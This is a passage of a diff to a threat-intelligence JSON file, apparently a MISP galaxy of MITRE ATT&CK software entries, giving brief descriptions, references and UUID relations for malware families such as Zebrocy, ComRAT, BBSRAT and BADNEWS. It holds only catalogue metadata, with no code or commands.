"dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b8c5c9dd-a662-479d-9428-ae745872537c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "value": "Remsec - S0125" + }, + { + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan used by [APT28](https://attack.mitre.org/groups/G0007). [Zebrocy](https://attack.mitre.org/software/S0251) was seen used in attacks in early 2018. [Zebrocy](https://attack.mitre.org/software/S0251) comes in several programming language variants, including C++, Delphi, and AutoIt. (Citation: Palo Alto Sofacy 06-2018)", + "meta": { + "external_id": "S0251", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0251", + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + ], + "synonyms": [ + "Zebrocy" + ] + }, + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a4f57468-fbd5-49e4-8476-52088220b92d", + "value": "Zebrocy - S0251" + }, + { + "description": "[ComRAT](https://attack.mitre.org/software/S0126) is a remote access tool suspected of being a decedent of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)", + "meta": { + "external_id": "S0126", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0126", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf", + "https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf" + ], + "synonyms": [ + "ComRAT" + ] + }, + "related": [ + { + "dest-uuid": "9223bf17-7e32-4833-9574-9ffd8c929765", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "d9cc15f7-0880-4ae4-8df4-87c58338d6b8", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "da079741-05e6-458c-b434-011263dc691c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "da5880b4-f7da-4869-85f2-e0aba84b8565", + "value": "ComRAT - S0126" + }, + { + "description": "[POORAIM](https://attack.mitre.org/software/S0216) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)", + "meta": { + "external_id": "S0216", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0216", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "POORAIM" + ] + }, + "related": [ + { + "dest-uuid": "fe97ace3-9a80-42af-9eae-1f9245927e5d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "53d47b09-09c2-4015-8d37-6633ecd53f79", + "value": "POORAIM - S0216" + }, + { + "description": "[Catchamas](https://attack.mitre.org/software/S0261) is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)", + "meta": { + "external_id": "S0261", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0261", + "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + ], + "synonyms": [ + "Catchamas" + ] + }, + "related": [ + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "value": "Catchamas - S0261" + }, + { + "description": "[Komplex](https://attack.mitre.org/software/S0162) is a backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be developed in a similar manner to [XAgentOSX](https://attack.mitre.org/software/S0161) (Citation: XAgentOSX) (Citation: Sofacy Komplex Trojan).", + "meta": { + "external_id": "S0162", + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0162", + "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + ], + "synonyms": [ + "Komplex" + ] + }, + "related": [ + { + "dest-uuid": "75c79f95-4c84-4650-9158-510f0ce4831d", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], @@ -2114,34 +12941,1344 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Komplex" + "uuid": "f108215f-3487-489d-be8b-80e346d32518", + "value": "Komplex - S0162" }, { - "description": "RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus.[[Citation: PWC Cloud Hopper Technical Annex April 2017]][[Citation: FireEye APT10 April 2017]]\n\nAliases: RedLeaves, BUGJUICE", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)", "meta": { + "external_id": "S0127", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0153", - "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "https://attack.mitre.org/software/S0127", + "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" ], "synonyms": [ - "RedLeaves", - "BUGJUICE" - ], - "uuid": "3df08e23-1d0b-41ed-b735-c4eca46ce48e" + "BBSRAT" + ] }, "related": [ { - "dest-uuid": "ad6a1b4a-6d79-40d4-adb7-1d7ca697347e", + "dest-uuid": "cad1d6db-3a6c-4d67-8f6e-627d8a168d6a", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "value": "BBSRAT - S0127" + }, + { + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) is a Trojan that has reportedly been used by the North Korean government. (Citation: US-CERT KEYMARBLE Aug 2018)", + "meta": { + "external_id": "S0271", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0271", + "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + ], + "synonyms": [ + "KEYMARBLE" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "value": "KEYMARBLE - S0271" + }, + { + "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", + "meta": { + "external_id": "S0217", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0217", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "SHUTTERSPEED" + ] + }, + "related": [ + { + "dest-uuid": "d909efe3-abc3-4be0-9640-e4727542fa2b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4189a679-72ed-4a89-a57c-7f689712ecf8", + "value": "SHUTTERSPEED - S0217" + }, + { + "description": "[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel Items](https://attack.mitre.org/techniques/T1196). (Citation: Palo Alto Reaver Nov 2017)", + "meta": { + "external_id": "S0172", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0172", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + ], + "synonyms": [ + "Reaver" + ] + }, + "related": [ + { + "dest-uuid": "826c31ca-2617-47e4-b236-205da3881182", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8df54627-376c-487c-a09c-7d2b5620f56e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "65341f30-bec6-4b1d-8abf-1a5620446c29", + "value": "Reaver - S0172" + }, + { + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is malware that has been used by the actors responsible for the [Patchwork](https://attack.mitre.org/groups/G0040) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon) (Citation: TrendMicro Patchwork Dec 2017)", + "meta": { + "external_id": "S0128", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0128", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", + "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + ], + "synonyms": [ + "BADNEWS" + ] + }, + "related": [ + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e9595678-d269-469e-ae6b-75e49259de63", + "value": "BADNEWS - S0128" + }, + { + "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)", + "meta": { + "external_id": "S0218", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0218", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "SLOWDRIFT" + ] + }, + "related": [ + { + "dest-uuid": "e5a9a2ec-348e-4a2f-98dd-16c3e8845576", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + 